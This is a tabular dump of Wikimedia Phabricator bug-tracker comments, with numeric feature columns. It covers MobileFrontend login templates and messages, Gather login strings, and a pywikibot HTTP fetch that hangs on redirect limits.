[[https://gerrit.wikimedia.org/r/203893]]",,,1429131616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.071428571428571,0.8571428571428571,"Change 203893 merged by jenkins-bot:
Add support for extensions to add custom login messages for mobile login page

[[GERRIT_URL]]"
443024,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203894 had a related patch set uploaded (by Florianschmidtwelzow):
Login messages: Add support for MobileFrontend loginpage

[[https://gerrit.wikimedia.org/r/203894]]
",,,1428956045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.714285714285714,0.8928571428571429,"Change 203894 had a related patch set uploaded (by Florianschmidtwelzow):
Login messages: Add support for MobileFrontend loginpage

[[GERRIT_URL]]
"
443022,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203893 had a related patch set uploaded (by Florianschmidtwelzow):
Add support for extensions to add custom login messages for mobile login page

[[https://gerrit.wikimedia.org/r/203893]]
",,,1428956027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.454545454545454,0.8484848484848485,"Change 203893 had a related patch set uploaded (by Florianschmidtwelzow):
Add support for extensions to add custom login messages for mobile login page

[[GERRIT_URL]]
"
443017,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,++++,,,1428954897,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.25,++++
443016,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Hmm, maybe reuse the LoginFormValidErrorMessages hook from LoginForm/Special:UserLogin? I think it wouldn't be a good idea to introduce much new things (like new own hooks), because our goal is to remove this feature :) Opnions?",,,1428954837,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,True,,,-12,True,2.0,0.0,0.0,0.0,2.0,11.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,15.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,9.0,2.0,2.0,0.0,7.0,11.0,7.0,4.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,"Hmm, maybe reuse the LoginFormValidErrorMessages hook from LoginForm/Special:UserLogin? I think it wouldn't be a good idea to introduce much new things (like new own hooks), because our goal is to remove this feature :) Opnions?"
95820,MobileFrontend makes UserLoginForm hook to pass incompatible parameter,"MobileFrontend [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/ec875fc9e27efe76ea7643f84c092f0319dac0d3/includes/MobileFrontend.hooks.php#L582-L605 | creates it's own ]] Userlogin and UserCreate templates. These templates inherits QuickTemplate while core templates inherits BaseTemplate. If another extension (which is included _after_ MobileFrontend in LocalSettings.php) requires functions from BaseTemplate in it's UserLoginFrom or UserCreateForm hook handler (which is legitim, because UserCreateTemplate is the expected class), php ends with a fatal error. MobileFrontend should also inherit BaseTemplate instead of QuickTemplate to prevent these problems.

Encountered with installed MobileFrontend and GoogleLogin extension.",Needs Triage,90.0,1428788380,1428948257.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-ci2b3ojymx63l75s6v73,task_description,resolved,True,c3,1,True,True,True,-12,True,0.0,0.0,0.0,1.0,0.0,4.0,2.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,1.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,21.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,13.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,5.659574468085107,0.7021276595744681,"MobileFrontend [[ URL | creates it's own ]] Userlogin and UserCreate templates. These templates inherits QuickTemplate while core templates inherits BaseTemplate. If another extension (which is included _after_ MobileFrontend in LocalSettings.php) requires functions from BaseTemplate in it's UserLoginFrom or UserCreateForm hook handler (which is legitim, because UserCreateTemplate is the expected class), php ends with a fatal error. MobileFrontend should also inherit BaseTemplate instead of QuickTemplate to prevent these problems.

Encountered with installed MobileFrontend and GoogleLogin extension."
442897,MobileFrontend makes UserLoginForm hook to pass incompatible parameter,"Change 203622 merged by jenkins-bot:
Use BaseTemplate instead of QuickTemplate to create UserLoginAndCreateTemplate

[[https://gerrit.wikimedia.org/r/203622]]",,,1428945050,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ci2b3ojymx63l75s6v73,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.217391304347826,0.9130434782608695,"Change 203622 merged by jenkins-bot:
Use BaseTemplate instead of QuickTemplate to create UserLoginAndCreateTemplate

[[GERRIT_URL]]"
442486,MobileFrontend makes UserLoginForm hook to pass incompatible parameter,"Change 203622 had a related patch set uploaded (by Florianschmidtwelzow):
Use BaseTemplate instead of QuickTemplate to create UserLoginAndCreateTemplate

[[https://gerrit.wikimedia.org/r/203622]]
",,,1428788553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ci2b3ojymx63l75s6v73,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,5.464285714285714,0.8928571428571429,"Change 203622 had a related patch set uploaded (by Florianschmidtwelzow):
Use BaseTemplate instead of QuickTemplate to create UserLoginAndCreateTemplate

[[GERRIT_URL]]
"
95729,string replacement for watchstar login page,"This page is triggered when an anon click on the CTA to login after clicking on a watchstar
{F111080}

The text should be replaced
A watchlist helps you bookmark pages and keep track of changes to them.
Log in to see it.

--->  Now you can group pages into collections to share with friends or save for later. 
 Login to try.",Needs Triage,90.0,1428689335,1430262067.0,PHID-USER-izqileijt5niumtehazh,True,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-7r43ouuspdyah5cti7rk,task_description,resolved,True,c3,1,True,False,True,-12,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,11.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,17.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,1.0,3.6,0.8266666666666667,"This page is triggered when an anon click on the CTA to login after clicking on a watchstar
{F111080}

The text should be replaced
A watchlist helps you bookmark pages and keep track of changes to them.
Log in to see it.

--->  Now you can group pages into collections to share with friends or save for later. 
 Login to try."
449492,string replacement for watchstar login page,"Change 205473 merged by jenkins-bot:
Making the Gather login and signup messages work in standard way

[[https://gerrit.wikimedia.org/r/205473]]",,,1430126388,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,3.9615384615384617,0.9230769230769231,"Change 205473 merged by jenkins-bot:
Making the Gather login and signup messages work in standard way

[[GERRIT_URL]]"
449490,string replacement for watchstar login page,All merged.,,,1430126309,,PHID-USER-cjstd4vv3u3gq2sijr7d,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,True,,,-10,True,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,All merged.
448456,string replacement for watchstar login page,"Change 205473 had a related patch set uploaded (by Jdlrobson):
Making the Gather login and signup messages work in standard way

[[https://gerrit.wikimedia.org/r/205473]]
",,,1429822501,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,4.032258064516129,0.9032258064516129,"Change 205473 had a related patch set uploaded (by Jdlrobson):
Making the Gather login and signup messages work in standard way

[[GERRIT_URL]]
"
444349,string replacement for watchstar login page,"@Kaldari doesn't like https://gerrit.wikimedia.org/r/#/c/203835/
Let's find a way to move this forward and not be bogged down by our tech debt...",,,1429141063,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,"SCREEN_NAME doesn't like URL
Let's find a way to move this forward and not be bogged down by our tech debt..."
444325,string replacement for watchstar login page,"Change 203836 merged by jenkins-bot:
Add i18n messages for login signup

[[https://gerrit.wikimedia.org/r/203836]]",,,1429137930,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.7142857142857144,0.9047619047619048,"Change 203836 merged by jenkins-bot:
Add i18n messages for login signup

[[GERRIT_URL]]"
442819,string replacement for watchstar login page,"Change 203836 had a related patch set uploaded (by Jdlrobson):
Add i18n messages for login signup

[[https://gerrit.wikimedia.org/r/203836]]
",,,1428939808,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8461538461538463,0.8846153846153846,"Change 203836 had a related patch set uploaded (by Jdlrobson):
Add i18n messages for login signup

[[GERRIT_URL]]
"
94993,fetch hangs if a httplib2.RedirectLimit occurred,"When a httplib2.RedirectLimit (maybe also with others) occurred on `pywikibot.comms.http.fetch` it hangs:

```
>>> import pywikibot.comms.http
>>> pywikibot.comms.http.fetch('http://www.tvtropes.org/api.php')
Traceback (most recent call last):
  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/threading.py"", line 920, in _bootstrap_inner
    self.run()
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 549, in run
    item.data = self.http.request(*item.args, **item.kwargs)
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 260, in request
    uri, method, body, headers, response, content, max_redirects)
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 307, in _follow_redirect
    max_redirects=max_redirects - 1)
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 260, in request
    uri, method, body, headers, response, content, max_redirects)
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 311, in _follow_redirect
    response, content)
httplib2.RedirectLimit: Redirected more times than redirection_limit allows.

^CTraceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/http.py"", line 364, in fetch
    error_handling_callback(request)
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/http.py"", line 274, in error_handling_callback
    if isinstance(request.data, SSLHandshakeError):
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 392, in data
    self._join()
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 386, in _join
    self.lock.acquire(True)
  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 323, in acquire
    return super(S, self).acquire(blocking)
  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/threading.py"", line 421, in acquire
    self._cond.wait(timeout)
  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/threading.py"", line 290, in wait
    waiter.acquire()
KeyboardInterrupt
```

From what I could tell it's not releasing the semaphore correctly (although when looking at the code it should and it does actually call that) and when it then tries to check for errors it tries to acquire it and waits then on it.

            try:
                # inside of that it crashes
                item.data = self.http.request(*item.args, **item.kwargs)
            finally:
                if item.lock:
                    # this line is called
                    item.lock.release()

I tried to determine where it acquires the lock but only find the one place in `fetch` and then one when it tries to get the data in `error_handling_callback`.

(//Note: The line numbers are bit off as I try to debug that one//)",Needs Triage,90.0,1428057131,1428460778.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_description,resolved,True,c3,1,True,False,True,-13,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.435897435897436,0.8461538461538461,"When a httplib2.RedirectLimit (maybe also with others) occurred on CODE it hangs:

``CODE`CODEfetchCODEerror_handling_callback`.

(//Note: The line numbers are bit off as I try to debug that one//)"
440108,fetch hangs if a httplib2.RedirectLimit occurred,I looked in a few gerrit's and couldnt find it. The revised patch almost certainly addresses the core of the problem that was previously discussed.,,,1428460778,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,3.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,0.0,14.0,3.0,7.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.241379310344827,0.9310344827586207,I looked in a few gerrit's and couldnt find it. The revised patch almost certainly addresses the core of the problem that was previously discussed.
440059,fetch hangs if a httplib2.RedirectLimit occurred,"Change 201696 merged by jenkins-bot:
[FIX] Return exception instead of raising it

[[https://gerrit.wikimedia.org/r/201696]]",,,1428452881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,3.625,0.8333333333333334,"Change 201696 merged by jenkins-bot:
[FIX] Return exception instead of raising it

[[GERRIT_URL]]"
438501,fetch hangs if a httplib2.RedirectLimit occurred,"Not sure. I do remember something about it, but I can't find a bug either -- maybe it's in a gerrit comment instead?",,,1428174471,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,18.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.8928571428571429,"Not sure. I do remember something about it, but I can't find a bug either -- maybe it's in a gerrit comment instead?"
438500,fetch hangs if a httplib2.RedirectLimit occurred,Not sure. I do remember something about that -- maybe it's in a gerrit comment instead?,,,1428174451,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.789473684210526,1.0,Not sure. I do remember something about that -- maybe it's in a gerrit comment instead?
438447,fetch hangs if a httplib2.RedirectLimit occurred,Maybe @valhallasw got an idea?,,,1428156061,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,MaybeSCREEN_NAME got an idea?
